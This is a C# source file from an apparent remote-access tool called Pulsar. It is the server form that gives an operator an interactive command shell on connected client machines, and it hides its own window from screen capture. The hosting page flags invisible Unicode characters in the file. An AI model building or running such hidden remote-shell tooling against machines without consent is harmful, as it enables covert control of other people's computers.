Files
PulsarK-main/Pulsar.Server/Forms/FrmRemoteShell.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

191 lines
7.0 KiB
C#
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using Pulsar.Common.Messages;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmRemoteShell : Form
{
/// <summary>
/// The client which can be used for the remote shell.
/// </summary>
private readonly Client _connectClient;
/// <summary>
/// The message handler for handling the communication with the client.
/// </summary>
public readonly RemoteShellHandler RemoteShellHandler;
/// <summary>
/// Holds the opened remote shell form for each client.
/// </summary>
private static readonly Dictionary<Client, FrmRemoteShell> OpenedForms = new Dictionary<Client, FrmRemoteShell>();
/// <summary>
/// Creates a new remote shell form for the client or gets the current open form, if there exists one already.
/// </summary>
/// <param name="client">The client used for the remote shell form.</param>
/// <returns>
/// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one.
/// </returns>
public static FrmRemoteShell CreateNewOrGetExisting(Client client)
{
if (OpenedForms.ContainsKey(client))
{
return OpenedForms[client];
}
FrmRemoteShell f = new FrmRemoteShell(client);
f.Disposed += (sender, args) => OpenedForms.Remove(client);
OpenedForms.Add(client, f);
return f;
}
/// <summary>
/// Initializes a new instance of the <see cref="FrmRemoteShell"/> class using the given client.
/// </summary>
/// <param name="client">The client used for the remote shell form.</param>
public FrmRemoteShell(Client client)
{
_connectClient = client;
RemoteShellHandler = new RemoteShellHandler(client);
RegisterMessageHandler();
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine);
}
/// <summary>
/// Registers the remote shell message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
RemoteShellHandler.ProgressChanged += CommandOutput;
RemoteShellHandler.CommandError += CommandError;
MessageHandler.Register(RemoteShellHandler);
}
/// <summary>
/// Unregisters the remote shell message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(RemoteShellHandler);
RemoteShellHandler.ProgressChanged -= CommandOutput;
RemoteShellHandler.CommandError -= CommandError;
_connectClient.ClientState -= ClientDisconnected;
}
/// <summary>
/// Called whenever the remote shell writes to stdout.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="output">The output to write.</param>
private void CommandOutput(object sender, string output)
{
txtConsoleOutput.SelectionColor = Color.WhiteSmoke;
txtConsoleOutput.AppendText(output);
}
/// <summary>
/// Called whenever the remote shell writes to stderr.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="output">The error output to write.</param>
private void CommandError(object sender, string output)
{
txtConsoleOutput.SelectionColor = Color.Red;
txtConsoleOutput.AppendText(output);
}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
private void FrmRemoteShell_Load(object sender, EventArgs e)
{
this.DoubleBuffered = true;
this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient);
}
private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e)
{
UnregisterMessageHandler();
RemoteShellHandler.Dispose();
if (_connectClient.Connected)
RemoteShellHandler.SendCommand("exit");
}
private void txtConsoleOutput_TextChanged(object sender, EventArgs e)
{
NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle);
}
private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim()))
{
string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' ');
txtConsoleInput.Text = string.Empty;
// Split based on the space key.
string[] splitSpaceInput = input.Split(' ');
// Split based on the null key.
string[] splitNullInput = input.Split(' ');
// We have an exit command.
if (input == "exit" ||
((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") ||
((splitNullInput.Length > 0) && splitNullInput[0] == "exit"))
{
this.Close();
}
else
{
switch (input)
{
case "cls":
txtConsoleOutput.Text = string.Empty;
break;
default:
RemoteShellHandler.SendCommand(input);
break;
}
}
e.Handled = true;
e.SuppressKeyPress = true;
}
}
private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar != (char)2)
{
txtConsoleInput.Text += e.KeyChar.ToString();
txtConsoleInput.Focus();
txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength;
txtConsoleInput.ScrollToCaret();
}
}
}
}